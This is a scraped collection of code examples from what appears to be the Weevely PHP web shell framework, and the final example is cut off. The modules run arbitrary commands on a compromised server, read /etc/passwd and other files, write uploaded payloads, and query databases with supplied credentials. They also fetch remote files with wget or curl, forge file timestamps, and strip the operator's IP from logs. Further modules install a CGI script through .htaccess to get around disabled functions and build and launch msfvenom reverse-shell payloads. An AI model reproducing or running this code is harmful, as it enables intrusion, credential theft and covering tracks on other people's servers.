Ejemplo n.º 1
0
    def init(self):

        self.register_info({'author': ['Emilio Pinna'], 'license': 'GPLv3'})

        self.register_vectors([
            PhpCode(
                "(file_put_contents('${rpath}',base64_decode('${content}'))&&print(1))||print(0);",
                name='file_put_contents'),
            PhpCode(
                """($h=fopen("${rpath}","a+")&&fwrite($h,base64_decode('${content}'))&&fclose($h)&&print(1))||print(0);""",
                name="fwrite")
        ])

        self.register_arguments([{
            'name': 'lpath',
            'help': 'Local file path',
            'nargs': '?'
        }, {
            'name': 'rpath',
            'help': 'Remote file path'
        }, {
            'name': '-force',
            'help': 'Force overwrite',
            'action': 'store_true',
            'default': False
        }, {
            'name': '-content',
            'help': 'Optionally specify the file content'
        }, {
            'name': '-vector',
            'choices': self.vectors.get_names(),
            'default': 'file_put_contents'
        }])
Ejemplo n.º 2
0
    def _check_features(self):

        features = [
            'expose_php',
            'file_uploads',
            'register_globals',
            'allow_url_fopen',
            'display_errors',
            'enable_dl',
            'safe_mode',
            'magic_quotes_gpc',
            'allow_url_include',
            'session.use_trans_sid'
            ]

        feat_found = PhpCode("""foreach ( Array("${ '", "'.join(features) }") as $f) if((bool)ini_get($f)) print($f. "\n");""").run(
                        { 'features' : features }
                    )

        result = []
        if feat_found:
            for feat in feat_found.split('\n'):
                feat_msg = 'feat_' + re.sub('[^a-zA-Z_]', '_', feat)
                if hasattr(messages.module_audit_phpconf, feat_msg):
                    result.append((feat, getattr(messages.module_audit_phpconf, feat_msg)))

        return result
Ejemplo n.º 3
0
    def run(self, args):

        if args.get('vector', 'posix_getpwuid') == 'posix_getpwuid':
            pwdresult = PhpCode("""for($n=0; $n<2000;$n++) { $uid = @posix_getpwuid($n); if ($uid) echo join(':',$uid).PHP_EOL;  }""").run(self.args)

        if not pwdresult:
            arg_vector = [ '-vector', args.get('vector') ] if args.get('vector') else []
            pwdresult = ModuleExec('file_read', [ '/etc/passwd' ] + arg_vector).run()

        if not pwdresult: return

        result = ''
        for line in pwdresult.split('\n'):
            fields = line.split(':')
            if len(fields) > 6:
                uid = int(fields[2])
                shell = fields[6]

                if (
                    args.get('real') and (
                        (uid == 0 or uid > 999) and
                        'false' not in shell
                        )
                    or not args.get('real')
                    ):
                    result += line + '\n'

        return result.rstrip('\n')
Ejemplo n.º 4
0
    def init(self):

        self.register_info({'author': ['Emilio Pinna'], 'license': 'GPLv3'})

        self.register_vectors([
            PhpCode("print(@base64_encode(implode('',@file('${rpath}'))));",
                    name='file'),
            PhpCode(
                "$f='${rpath}';print(@base64_encode(fread(fopen($f,'rb'),filesize($f))));",
                name='fread'),
            PhpCode("print(@base64_encode(file_get_contents('${rpath}')));",
                    name='file_get_contents'),
            ShellCmd("base64 -w 0 ${rpath} 2>/dev/null",
                     name='base64',
                     target=Os.NIX),
        ])

        self.register_arguments([{
            'name': 'rpath',
            'help': 'Remote file path'
        }, {
            'name': 'lpath',
            'help': 'Local file path'
        }, {
            'name': '-vector',
            'choices': self.vectors.get_names(),
            'default': 'file'
        }])
    def init(self):

        self.register_info({'author': ['Emilio Pinna'], 'license': 'GPLv3'})

        self.register_vectors([
            PhpCode(
                """
                $f='get_loaded_extensions';
                if(function_exists($f)&&is_callable($f))
                    foreach($f() as $o) print($o.PHP_EOL);
            """, 'php_extensions'),
            PhpCode(
                """
                $f='apache_get_modules';
                if(function_exists($f)&&is_callable($f))
                    foreach($f() as $o) print($o.PHP_EOL);
            """, 'apache_modules'),
        ])

        self.register_arguments([{
            'name': '-info',
            'help': 'Select modules or extensions',
            'choices': self.vectors.get_names(),
            'nargs': '+'
        }])
Ejemplo n.º 6
0
    def run(self, args):

        if args.get('vector', 'posix_getpwuid') == 'posix_getpwuid':
            pwdresult = PhpCode(
                """for($n=0; $n<2000;$n++) { $uid = @posix_getpwuid($n); if ($uid) echo join(':',$uid).PHP_EOL;  }"""
            ).run(args)

        if not pwdresult:
            arg_vector = ['-vector', args.get('vector')
                          ] if args.get('vector') else []
            pwdresult = ModuleExec('file_read',
                                   ['/etc/passwd'] + arg_vector).run()

        if not pwdresult: return

        result = ''
        for line in pwdresult.split('\n'):
            fields = line.split(':')
            if len(fields) > 6:
                uid = int(fields[2])
                shell = fields[6]

                if (args.get('real') and
                    ((uid == 0 or uid > 999) and 'false' not in shell)
                        or not args.get('real')):
                    result += line + '\n'

        return result.rstrip('\n')
Ejemplo n.º 7
0
    def init(self):

        self.register_info({'author': ['Emilio Pinna'], 'license': 'GPLv3'})

        self.register_vectors([
            PhpCode("(@copy('${srcpath}', '${dstpath}')&&print(1))||print(0);",
                    name='php_copy'),
            PhpCode(
                "(@file_put_contents('${dstpath}', file_get_contents('${srcpath}'))&&print(1))||print(0);",
                name='php_file_contents'),
            ShellCmd("cp '${srcpath}' '${dstpath}' && echo 1 || echo 0",
                     name='sh_cp',
                     target=Os.NIX),
        ])

        self.register_arguments([{
            'name': 'srcpath',
            'help': 'Remote source file path'
        }, {
            'name': 'dstpath',
            'help': 'Remote destination file path'
        }, {
            'name': '-vector',
            'choices': self.vectors.get_names()
        }])
Ejemplo n.º 8
0
    def init(self):

        self.register_info({'author': ['Emilio Pinna'], 'license': 'GPLv3'})

        self.register_vectors([
            PhpCode(
                """if($s=mysqli_connect('${host}','${user}','${passwd}')){$r=mysqli_query($s,'${query}');if($r){while($c=mysqli_fetch_row($r)){foreach($c as $key=>$value){echo $value.'${linsep}';}echo '${colsep}';}};mysqli_close($s);}echo '${errsep}'.@mysqli_connect_error().' '.@mysqli_error();""",
                name='mysql',
            ),
            PhpCode(
                """$r=mysqli_query('${query}');if($r){while($c=mysqli_fetch_row($r)){foreach($c as $key=>$value){echo $value.'${linsep}';}echo '${colsep}';}};mysqli_close();echo '${errsep}'.@mysqli_connect_error().' '.@mysqli_error();""",
                name="mysql_fallback"),
            PhpCode(
                """if(pg_connect('host=${host} user=${user} password=${passwd}')){$r=pg_query('${query}');if($r){while($c=pg_fetch_row($r)){foreach($c as $key=>$value){echo $value.'${linsep}';}echo '${colsep}';}};pg_close();}echo '${errsep}'.@pg_last_error();""",
                name="pgsql"),
            PhpCode(
                """if(pg_connect('host=${host} user=${user} dbname=${database} password=${passwd}')){$r=pg_query('${query}');if($r){while($c=pg_fetch_row($r)){foreach($c as $key=>$value){echo $value.'${linsep}';}echo '${colsep}';}};pg_close();}echo '${errsep}'.@pg_last_error();""",
                name="pgsql_database"),
            PhpCode(
                """$r=pg_query('${query}');if($r){while($c=pg_fetch_row($r)){foreach($c as $key=>$value){echo $value.'${linsep}';} echo '${colsep}';}};pg_close();echo '${errsep}'.@pg_last_error();""",
                name="pgsql_fallback"),
        ])

        self.register_arguments([
            {
                'name': '-user',
                'help': 'SQL username'
            },
            {
                'name': '-passwd',
                'help': 'SQL password'
            },
            {
                'name': '-host',
                'help': 'Db host or host:port',
                'nargs': '?',
                'default': 'localhost'
            },
            {
                'name': '-dbms',
                'help': 'Db type',
                'choices': ('mysql', 'pgsql'),
                'default': 'mysql'
            },
            {
                'name': '-database',
                'help': 'Database name (Only PostgreSQL)'
            },
            {
                'name': '-query',
                'help': 'Execute a single query'
            },
            {
                'name': '-encoding',
                'help': 'Db text encoding',
                'default': 'utf-8'
            },
        ])
Ejemplo n.º 9
0
    def init(self):

        self.register_info(
            {
                'author': [
                    'Emilio Pinna'
                ],
                'license': 'GPLv3'
            }
        )

        self.register_vectors(
            [
            # All the system-like calls has to be properly wrapped between single quotes
            PhpCode("""@system('${command}${stderr_redirection}');""", "system"),
            PhpCode("""@passthru('${command}${stderr_redirection}');""", "passthru"),
            PhpCode("""print(@shell_exec('${command}${stderr_redirection}'));""", "shell_exec"),
            PhpCode("""$r=array(); @exec('${command}${stderr_redirection}', $r);print(join(\"\\n\",$r));""", "exec"),
            PhpCode("""
                $h=@popen('${command}','r');
                if($h){
                    while(!feof($h)) echo(fread($h,4096));
                    pclose($h);
                }""", "popen"),
            PhpCode("""
                $p = array(array('pipe', 'r'), array('pipe', 'w'), array('pipe', 'w'));
                $h = @proc_open('${command}', $p, $pipes);
                if($h&&$pipes){
                    while(!feof($pipes[1])) echo(fread($pipes[1],4096));
                    while(!feof($pipes[2])) echo(fread($pipes[2],4096));
                    fclose($pipes[0]);
                    fclose($pipes[1]);
                    fclose($pipes[2]);
                    proc_close($h);
                }""", "proc_open"),
            PhpCode("""@python_eval('import os; os.system('${command}${stderr_redirection}');');""", "python_eval"),
            PhpCode("""
                if(class_exists('Perl')){
                    $perl=new Perl();
                    $r=$perl->system('${command}${stderr_redirection}');
                    print($r);
                }""", "perl_system"),
            # pcntl_fork is unlikely, cause is callable just as CGI or from CLI.
            PhpCode("""
                $p=@pcntl_fork();
                if(!$p){
                    @pcntl_exec("/bin/sh",Array("-c",'${command}'));
                } else {
                    @pcntl_waitpid($p,$status);
                }""",
                name="pcntl", target=Os.NIX),
            ])

        self.register_arguments([
          { 'name' : 'command', 'help' : 'Shell command', 'nargs' : '+' },
          { 'name' : '-stderr_redirection', 'default' : ' 2>&1' },
          { 'name' : '-vector', 'choices' : self.vectors.get_names() },
        ])
    def init(self):

        self.register_info({
            'author': [
                'Emilio Pinna',
                # mod_cgi + .htaccess bypassing technique by ASDIZZLE
                # https://blog.asdizzle.com/index.php/2016/05/02/getting-shell-access-with-php-system-functions-disabled/
                'ASDIZZLE'
            ],
            'license':
            'GPLv3'
        })

        self.register_arguments([
            {
                'name': 'rpath',
                'help':
                'Remote path. If it is a folder find the first writable folder in it',
                'default': '.',
                'nargs': '?'
            },
            {
                'name': '-script',
                'help': 'CGI script to upload',
                'default': os.path.join(self.folder, 'cgi.sh')
            },
            {
                'name': '-just-run',
                'help': 'Skip install and run shell through URL'
            },
        ])

        self.register_vectors([
            PhpCode(
                """(is_callable('apache_get_modules')&&in_array('mod_cgi', apache_get_modules())&&print(1))||print(0);""",
                postprocess=lambda x: True if x == '1' else False,
                name='mod_cgi'),
            ModuleExec('file_upload2web', [
                '/bogus/.htaccess', '-content',
                'Options +ExecCGI\nAddHandler cgi-script .${extension}'
            ],
                       name='install_htaccess'),
            ModuleExec('file_upload', ['${script}', '${rpath}'],
                       name='install_script'),
            PhpCode(
                """(is_callable('chmod')&&chmod('${rpath}', 0777)&&print(1))||print(0);""",
                postprocess=lambda x: True if x == '1' else False,
                name='chmod'),
            ModuleExec('file_rm', ['${path}'], name='remove'),
        ])
Ejemplo n.º 11
0
    def _check_functions(self):

        functions = {
            'info': [
                'apache_get_modules',
                'apache_get_version',
                'apache_getenv',
                'get_loaded_extensions',
                'phpinfo',
                'phpversion',
            ],
            'files': [
                'chgrp', 'chmod', 'chown', 'copy', 'link', 'mkdir', 'rename',
                'rmdir', 'symlink', 'touch', 'unlink', 'posix_mkfifo'
            ],
            'log':
            ['openlog', 'syslog', 'debugger_off', 'debugger_on', 'closelog'],
            'proc_execution': [
                'exec', 'passthru', 'pcntl_exec', 'popen', 'proc_open',
                'shell_exec', 'system', 'dotnet_load'
            ],
            'proc_manipulation': [
                'apache_child_terminate', 'apache_note', 'apache_setenv', 'dl',
                'proc_close', 'proc_get_status', 'proc_terminate', 'proc_nice',
                'putenv', 'virtual'
                'posix_kill', 'posix_setpgid', 'posix_setsid', 'posix_setuid',
                'runkit_function_rename'
            ]
        }

        result = []

        for ftype, flist in functions.items():

            func_found = PhpCode(
                ("foreach ( Array(\"${ '\", \"'.join(functions) }\") as $f) " +
                 "if(function_exists($f)&&is_callable($f)) print($f. \"\\n\");"
                 )).run({'functions': flist})

            if func_found:
                for func_name in func_found.split('\n'):
                    type_msg = 'func_' + re.sub('[^a-zA-Z_]', '_', ftype)
                    if hasattr(messages.module_audit_phpconf, type_msg):
                        msg = getattr(messages.module_audit_phpconf, type_msg)
                        if len(func_name) == 0:
                            msg = ''
                        result.append((func_name, msg))

        return result
Ejemplo n.º 12
0
    def run(self):

        # When no folder is specified, change folder to SCRIPT_NAME to
        # simulate the bash behaviour. If not available, use current dir.

        if not self.args.get('dir'):
            script_folder = ModuleExec(
                        'system_info',
                        [ '-info', 'script_folder' ]
                    ).load_result_or_run(
                        result_name = 'script_folder'
                    )

            self.args['dir'] = script_folder if script_folder else '.'

        # The execution and result storage is done manually cause
        # no result has to be stored if the execution fails. This
        # is not simple to implement using
        # self.vectors.get_result(.., store_result).

        folder = PhpCode("""@chdir('${dir}')&&print(@getcwd());""", "chdir").run(
                    self.args
                )

        if folder:
            self._store_result('cwd', folder)
        else:
            log.warning(
                messages.module_file_cd.failed_directory_change_to_s %
                (self.args['dir'])
            )
Ejemplo n.º 13
0
    def init(self):

        self.register_info({'author': ['appo'], 'license': 'GPLv3'})

        self.register_vectors([
            PhpCode("""$fc=file("${file}");
                       $f=fopen("${file}","w");
                       foreach($fc as $line)
                       {
                         if (!strstr($line,"${ip}"))
                         fputs($f,$line);
                       }
                       fclose($f);""",
                    name="php_clear"),
            ShellCmd("""sed -i /${ip}/d ${file}""", name="clearlog"),
            ShellCmd(
                """sed /${ip}/d ${file} > ${file}.$$ && /bin/mv ${file}.$$ ${file}""",
                name="old_school")
        ])

        self.register_arguments([
            {
                'name': 'ip',
                'help': 'Your IP'
            },
            {
                'name': 'file',
                'help': 'File to Clear'
            },
            {
                'name': '-vector',
                'choices': self.vectors.get_names(),
                'default': "clearlog"
            },
        ])
Ejemplo n.º 14
0
    def init(self):

        self.register_info({'author': ['Emilio Pinna'], 'license': 'GPLv3'})

        self.register_vectors([
            PhpCode(
                """@file_put_contents("${rpath}",file_get_contents("${url}"));""",
                name="file_put_contents"),
            ShellCmd("""wget ${url} -O ${rpath}""", name="wget"),
            ShellCmd("""curl -o ${rpath} ${url}""", name="curl")
        ])

        self.register_arguments([
            {
                'name': 'url',
                'help': 'URL to download remotely'
            },
            {
                'name': 'rpath',
                'help': 'Remote file path'
            },
            {
                'name': '-vector',
                'choices': self.vectors.get_names(),
                'default': "file_put_contents"
            },
        ])
Ejemplo n.º 15
0
    def _spoil_vectors_but(self, vector_safe_name):
        # Spoil all the module sessions but the safe one
        for i in range(0, len(modules.loaded['shell_sh'].vectors)):
            name = modules.loaded['shell_sh'].vectors[i].name
            payload = modules.loaded['shell_sh'].vectors[i].arguments[0]

            if name != vector_safe_name:
                modules.loaded['shell_sh'].vectors[i] = PhpCode(
                    '\'"%s' % payload, name)
    def _check_classes(self):

        classes = ['splFileObject', 'COM', 'Java']

        class_found = PhpCode(
            """foreach ( Array("${ '", "'.join(classes) }") as $f) if((bool)class_exists($f)) print($f. "\n");"""
        ).run({'classes': classes})

        result = []
        if class_found:
            for class_name in class_found.split('\n'):
                class_msg = 'class_' + re.sub('[^a-zA-Z_]', '_', class_name)
                if hasattr(messages.module_audit_phpconf, class_msg):
                    result.append((class_name,
                                   getattr(messages.module_audit_phpconf,
                                           class_msg)))

        return result
Ejemplo n.º 17
0
    def init(self):

        self.register_info({'author': ['Emilio Pinna'], 'license': 'GPLv3'})

        # The grep action is done using multiple request.
        # First search for writable file, and then execute the grep
        # code for every found file. This allows to reuse code in
        # find_perm module and reduce the chances of timeout.

        self.register_vectors([
            ShellCmd(
                payload=
                "grep ${ '' if case else '-i' } -e '${regex}' '${rfile}'",
                name="grep_sh",
                arguments=[
                    "-stderr_redirection",
                    " 2>/dev/null",
                ],
                # Remove the trailing newline
                postprocess=lambda r: r[:-1] if r and r.endswith('\n') else r),
            PhpCode(
                payload=
                """$m=Array();preg_match_all("/${'' if regex.startswith('^') else '.*' }${regex.replace('/','\/')}${'' if regex.endswith('$') else '.*' }/m${ '' if case else 'i'}",file_get_contents('${rfile}'),$m);if($m) print(implode(PHP_EOL,$m[0]));""",
                name="grep_php")
        ])

        self.register_arguments([
            {
                'name': 'rpath',
                'help': 'Path. If is a folder grep all the contained files.'
            },
            {
                'name': 'regex',
                'help': 'Regular expression to match file name'
            },
            {
                'name': '-case',
                'help': 'Search case sensitive expression',
                'action': 'store_true',
                'default': False
            },
            {
                'name': '-name-regex',
                'help': 'Regular expression to match file name to grep'
            },
            {
                'name': '-no-recursion',
                'action': 'store_true',
                'default': False
            },
            {
                'name': '-vector',
                'choices': self.vectors.get_names(),
                'default': 'grep_php'
            },
        ])
Ejemplo n.º 18
0
    def test_vector_one_os(self):

        bogus_vector = 'bogus_win'

        # Add a bogus Os.WIN vector
        modules.loaded['shell_sh'].vectors.append(
            PhpCode("echo(1);", name=bogus_vector, target=Os.WIN))

        # Check if called forced the bogusv vector name, returns Null
        self.assertRaises(ArgparseError, self.run_argv,
                          ["-vector", bogus_vector, "echo 1"])
Ejemplo n.º 19
0
    def _check_classes(self):

        classes = [
            'splFileObject',
            'COM',
            'Java'
            ]

        class_found = PhpCode("""foreach ( Array("${ '", "'.join(classes) }") as $f) if((bool)class_exists($f)) print($f. "\n");""").run(
                        { 'classes' : classes }
                    )

        result = []
        if class_found:
            for class_name in class_found.split('\n'):
                class_msg = 'class_' + re.sub('[^a-zA-Z_]', '_', class_name)
                if hasattr(messages.module_audit_phpconf, class_msg):
                    result.append((class_name, getattr(messages.module_audit_phpconf, class_msg)))

        return result
Ejemplo n.º 20
0
    def run(self, args):

        chdir = '' if args['dir'] == '.' else "@chdir('%s')&&" % args['dir']
        folder = PhpCode("""${chdir}print(@getcwd());""",
                         "chdir").run({'chdir': chdir})

        if folder:
            # Store cwd used by other modules
            self._store_result('cwd', folder)
        else:
            log.warning(messages.module_file_cd.failed_directory_change_to_s %
                        (args['dir']))
Ejemplo n.º 21
0
    def test_vector_all_os(self):

        bogus_vector = 'bogus_win'

        # Add a bogus Os.WIN vector
        modules.loaded['shell_sh'].vectors.append(
            PhpCode("echo(1);", name=bogus_vector, target=Os.WIN))

        # Spoil all vectors but bogus_win
        self._spoil_vectors_but(bogus_vector)

        # Check if looping all vectors still returns None
        self.assertIsNone(self.run_argv(["echo 1"]), None)
    def _check_features(self):

        features = [
            'expose_php', 'file_uploads', 'register_globals',
            'allow_url_fopen', 'display_errors', 'enable_dl', 'safe_mode',
            'magic_quotes_gpc', 'allow_url_include', 'session.use_trans_sid'
        ]

        feat_found = PhpCode(
            """foreach ( Array("${ '", "'.join(features) }") as $f) if((bool)ini_get($f)) print($f. "\n");"""
        ).run({'features': features})

        result = []
        if feat_found:
            for feat in feat_found.split('\n'):
                feat_msg = 'feat_' + re.sub('[^a-zA-Z_]', '_', feat)
                if hasattr(messages.module_audit_phpconf, feat_msg):
                    result.append(
                        (feat, getattr(messages.module_audit_phpconf,
                                       feat_msg)))

        return result
Ejemplo n.º 23
0
    def run(self):

        return PhpCode("""
                $p="${dir}";
                if(@is_dir($p)){
                    $d=@opendir($p);
                    $a=array();
                    if($d){
                        while(($f=@readdir($d))) $a[]=$f;
                        sort($a);
                        print(join(PHP_EOL,$a));
                    }
                }""",
                       postprocess=lambda x: x.split('\n')).run(self.args)
Ejemplo n.º 24
0
    def init(self):

        self.register_info(
            {
                'author': [
                    'Emilio Pinna'
                ],
                'license': 'GPLv3'
            }
        )


        self.register_vectors(
            [
            PhpCode(
              """if(mysql_connect("${host}","${user}","${passwd}")){$r=mysql_query("${query}");if($r){while($c=mysql_fetch_row($r)){foreach($c as $key=>$value){echo $value."\x00";}echo "\n";}};mysql_close();}""",
              name = 'mysql',
            ),
            PhpCode("""$r=mysql_query("${query}");if($r){while($c=mysql_fetch_row($r)){foreach($c as $key=>$value){echo $value."\x00";}echo "\n";}};mysql_close();""",
              name = "mysql_fallback"
            ),
            PhpCode( """if(pg_connect("host=${host} user=${user} password=${passwd}")){$r=pg_query("${query}");if($r){while($c=pg_fetch_row($r)){foreach($c as $key=>$value){echo $value."\x00";}echo "\n";}};pg_close();}""",
              name = "pgsql"
            ),
            PhpCode( """$r=pg_query("${query}");if($r){while($c=pg_fetch_row($r)){foreach($c as $key=>$value){echo $value."\x00";} echo "\n";}};pg_close();""",
              name = "pgsql_fallback"
            ),
            ]
        )

        self.register_arguments([
          { 'name' : '-user', 'help' : 'SQL username' },
          { 'name' : '-passwd', 'help' : 'SQL password' },
          { 'name' : '-host', 'help' : 'Db host or host:port', 'nargs' : '?', 'default' : '127.0.0.1' },
          { 'name' : '-dbms', 'help' : 'Db type', 'choices' : ('mysql', 'pgsql'), 'default' : 'mysql' },
          { 'name' : '-query', 'help' : 'Execute a single query' },
        ])
Ejemplo n.º 25
0
    def init(self):

        self.register_info(
            {
                'author': [
                    'Emilio Pinna'
                ],
                'license': 'GPLv3'
            }
        )

        self.register_vectors(
            [
            PhpCode(
              "touch('${rpath}', ${epoch_ts});",
              name = 'php_touch'
              ),
            ShellCmd(
              "touch -d @${epoch_ts} '${rpath}'",
              name = 'sh_touch',
              target = Os.NIX
              ),
            ]
        )

        self.register_arguments([
          { 'name' : 'rpath', 'help' : 'Remote file path' },
          { 'name' : '-epoch-ts', 'help' : 'Epoch timestamp', 'type' : int },
          { 'name' : '-human-ts',
            'help' : 'Human readable timestamp e.g. \'2004-02-29 16:21:42\' or \'16:21\''
          },
          { 'name' : '-file-ts', 'help' : 'Clone timestamp from another file' },
          { 'name' : '-oldest-file-ts',
            'help' : 'Clone timestamp from the oldest file in the same folder',
            'action' : 'store_true',
            'default' : False
          },
          { 'name' : '-vector', 'choices' : self.vectors.get_names(), 'default' : 'php_touch' }
        ])
Ejemplo n.º 26
0
    def run(self, args):

        # Run unlink
        return PhpCode("""(unlink('${rpath}') && print(1)) || print(0);""",
                        postprocess = lambda x: True if x == '1' else False
                        ).run(args)
    def run(self):

        # Check msfvenom existance
        msvenom_path = spawn.find_executable(self.args['msfvenom_path'])

        if not msvenom_path:
            log.error(
                messages.module_backdoor_metasploit.msfvenom_s_not_found %
                self.args['msfvenom_path'])
            return

        # Set options according to the payload type
        options = []
        if 'reverse' in self.args['payload']:

            lhost = self.args.get('lhost')
            if not lhost:
                log.error(messages.module_backdoor_metasploit.
                          error_payload_s_requires_lhost %
                          self.args['payload'])
                return
            else:
                options += [('LHOST', lhost)]

        else:
            options += [('RHOST', host)]

        options += [('PORT', self.args.get('port'))]

        log.warn(messages.module_backdoor_metasploit.make_sure_run_msfconsole)
        log.info(
            'msfconsole -x "use exploit/multi/handler; set PAYLOAD %s; %s run"'
            % (self.args['payload'], ' '.join(
                ["set %s %s;" % (f, v) for f, v in options])))

        # Get temporary file name
        local_file = tempfile.NamedTemporaryFile()
        local_path = local_file.name

        # Build argument list for msfvenom
        arguments_list = [
            msvenom_path, '-p', self.args['payload'], '-o', local_path
        ] + ['%s=%s' % (v, f) for v, f in options]

        # Add executable format to the argument list
        if self.args['payload'].startswith('linux/'):
            arguments_list += ['-f', 'elf']
        elif self.args['payload'].startswith('windows/'):
            arguments_list += ['-f', 'exe']

        log.debug(' '.join(arguments_list))

        # Generate meterpreter PHP code
        agent = ''
        status = 0
        try:
            subprocess.check_call(arguments_list,
                                  stderr=open('/dev/null', 'w'))
            agent = open(local_path, 'r').read()
        except subprocess.CalledProcessError as e:
            status = e.returncode
        except Exception as e:
            log.debug(str(e))
            status = -1

        if status or not agent:
            log.error(
                messages.module_backdoor_metasploit.error_generating_payload)
            return

        if self.args['payload'].startswith('php/'):
            # If PHP payload, just run it

            PhpCode(agent, background=True).run()
        else:

            if self.session['shell_sh']['status'] != Status.RUN:
                log.error(messages.module_backdoor_metasploit.
                          error_payload_s_requires_shell_use_php %
                          self.args['payload'])
                return

            # Else: upload, execute, remove

            folders = ModuleExec(
                "file_find",
                ['-writable', '-quit', '-ftype', 'd', self.args['rpath']
                 ]).run()

            if not folders or not folders[0]:
                log.error(messages.module_backdoor_metasploit.
                          error_searching_writable_folder_under_s %
                          (self.args['rpath']))
                return

            local_filename = os.path.basename(local_path)

            remote_path = os.path.join(folders[0], local_filename)

            ModuleExec("file_upload", [local_path, remote_path]).run()

            # Let the uploaded file executable
            ShellCmd("chmod +x %s" % (remote_path)).run()

            # Execute the payload in background
            ShellCmd(remote_path, background=True).run()

            ModuleExec("file_rm", [self.args['rpath']]).run()
Ejemplo n.º 28
0
    def init(self):

        self.register_info({'author': ['Emilio Pinna'], 'license': 'GPLv3'})

        # The grep action is done using multiple request.
        # First search for writable file, and then execute the grep
        # code for every found file. This allows to reuse code in
        # find_perm module and reduce the chances of timeout.

        self.register_vectors([
            ShellCmd(
                payload=
                "grep ${ '' if case else '-i' } ${ '-v' if invert else '' } -e '${regex}' '${rfile}'",
                name="grep_sh",
                arguments=[
                    "-stderr_redirection",
                    " 2>/dev/null",
                ]),
            PhpCode(payload="""% if invert:
$m=file_get_contents("${rfile}");$a=preg_replace("/${'' if regex.startswith('^') else '.*' }${regex.replace('/','\/')}${'' if regex.endswith('$') else '.*' }".PHP_EOL."?/m${ '' if case else 'i'}","",$m);if($a)print($a);
% else:
$m=Array();preg_match_all("/${'' if regex.startswith('^') else '.*' }${regex.replace('/','\/')}${'' if regex.endswith('$') else '.*' }/m${ '' if case else 'i'}",file_get_contents('${rfile}'),$m);if($m) print(implode(PHP_EOL,$m[0]));
% endif""",
                    name="grep_php")
        ])

        self.register_arguments([
            {
                'name': 'rpath',
                'help': 'Path. If is a folder grep all the contained files.'
            },
            {
                'name': 'regex',
                'help': 'Regular expression to match file name'
            },
            {
                'name': '-case',
                'help': 'Search case sensitive expression',
                'action': 'store_true',
                'default': False
            },
            {
                'name': '-name-regex',
                'help': 'Regular expression to match file name to grep'
            },
            {
                'name': '-no-recursion',
                'action': 'store_true',
                'default': False
            },
            {
                'name': '-output',
                'help': 'Redirect output to remote file'
            },
            {
                'name': '-v',
                'dest': 'invert',
                'action': 'store_true',
                'default': False,
                'help': 'Invert matching to select non-matching lines'
            },
            {
                'name': '-local',
                'action': 'store_true',
                'default': False,
                'help': 'Save redirected output locally'
            },
            {
                'name': '-vector',
                'choices': self.vectors.get_names(),
                'default': 'grep_php'
            },
        ])
Ejemplo n.º 29
0
    def _check_functions(self):

        functions = {

            'info' : [
                'apache_get_modules',
                'apache_get_version',
                'apache_getenv',
                'get_loaded_extensions',
                'phpinfo',
                'phpversion',
            ],
            'files' : [
                'chgrp',
                'chmod',
                'chown',
                'copy',
                'link',
                'mkdir',
                'rename',
                'rmdir',
                'symlink',
                'touch',
                'unlink',
                'posix_mkfifo'
            ],
            'log' : [
                'openlog',
                'syslog',
                'debugger_off',
                'debugger_on',
                'closelog'
            ],
            'proc_execution' : [
                'exec',
                'passthru',
                'pcntl_exec',
                'popen',
                'proc_open',
                'shell_exec',
                'system',
                'dotnet_load'
            ],
            'proc_manipulation' : [
                'apache_child_terminate',
                'apache_note',
                'apache_setenv',
                'dl',
                'proc_close',
                'proc_get_status',
                'proc_terminate',
                'proc_nice',
                'putenv',
                'virtual'
                'posix_kill',
                'posix_setpgid',
                'posix_setsid',
                'posix_setuid',
                'runkit_function_rename'
            ]
        }

        result = []

        for ftype, flist in functions.items():

            func_found = PhpCode("""foreach ( Array("${ '", "'.join(functions) }") as $f) if(function_exists($f)&&is_callable($f)) print($f. "\n");""").run(
                            { 'functions' : flist }
                        )

            if func_found:
                for func_name in func_found.split('\n'):
                    type_msg = 'func_' + re.sub('[^a-zA-Z_]', '_', ftype)
                    if hasattr(messages.module_audit_phpconf, type_msg):
                        result.append((func_name, getattr(messages.module_audit_phpconf, type_msg)))

        return result
Ejemplo n.º 30
0
    def run(self):

        return PhpCode("""
            class UIDMap {
                private $map = array();

                public function __construct() {
                    $lines = @explode(PHP_EOL, file_get_contents('/etc/passwd'));

                    if (!$lines) return;

                    foreach ($lines as $line) {
                        $els = explode(':', $line);

                        $uname = $els[0];

                        if (strlen($uname) > 8) $uname = substr($uname, 0, 7) . '+';

                        $this->map[$els[2]] = $uname;
                    }
                }

                public function getUserName($uid) {
                    $uname = $this->map[$uid];

                    if (!$uname) return $uid;

                    return $uname;
                }
            }

            function getTtyName($ttynr) {
                $major = ($ttynr >> 8) & 0xffffffff ;
                $minor = $ttynr & 0xff;

                if ($major === 4) {
                    if ($minor < 64) return 'tty'.$minor;

                    return 'ttyS'.(255 - $minor);
                } else if ($major >= 136 && $major <=143) {
                    return 'pts/'.$minor;
                }

                // unsupported tty
                return '?';
            }


            function getProcInfo($procpath, $pid) {
                global $uidmap;

                $info = array(
                    'UID'   => '?',
                    'PID'   => '?',
                    'PPID'  => '?',
                    'STIME' => '?',
                    'TTY'   => '?',
                    'TIME'  => '?',
                    'CMD'   => '?'
                );

                $content = @file_get_contents(join(DIRECTORY_SEPARATOR, array($procpath, $pid, 'stat')));

                if (!$content) return $info;

                $stats = explode(' ', $content);

                $info['PID']  = $stats[0];
                $info['PPID'] = $stats[3];

                // calculate stime and time
                // since there is no way to call
                // sysconf(_SC_CLK_TCK), let's use
                // a workaround with filectime
                $curtime = time();
                $stime = @filemtime(join(DIRECTORY_SEPARATOR, array($procpath, $pid)));
                if (date('j', $curtime) === date('j', $stime)) {
                    $info['STIME'] = date('H:i', $stime);
                } else {
                    $info['STIME'] = date('Md', $stime);
                }
                $time = $curtime - $stime;
                $hours        = floor($time / 3600);
                $minutes      = floor(($time % 3600) / 60);
                $seconds      = $time % 60;
                $info['TIME'] = sprintf("%'.02d:%'.02d:%'.02d", $hours, $minutes, $seconds);

                $info['TTY'] = getTtyName($stats[6]);

                // get cmd
                $cmd = @file_get_contents(join(DIRECTORY_SEPARATOR, array($procpath, $pid, 'cmdline')));

                if ($cmd && strlen($cmd) > 0) {
                    $cmd = @str_replace("\x00", ' ', $cmd);
                } else {
                    $cmd = @str_replace('(', '[', str_replace(')', ']', $stats[1]));
                }
                $info['CMD'] = $cmd;

                // get user
                $content = @explode(PHP_EOL, file_get_contents(join(DIRECTORY_SEPARATOR, array($procpath, $pid, 'status'))));
                foreach ($content as $line) {
                    $els = explode("\t", $line);
                    if ($els[0] !== 'Uid:') continue;

                    $info['UID'] = $uidmap->getUserName($els[1]);
                    break;
                }

                return $info;
            }


            function main() {
                global $uidmap;

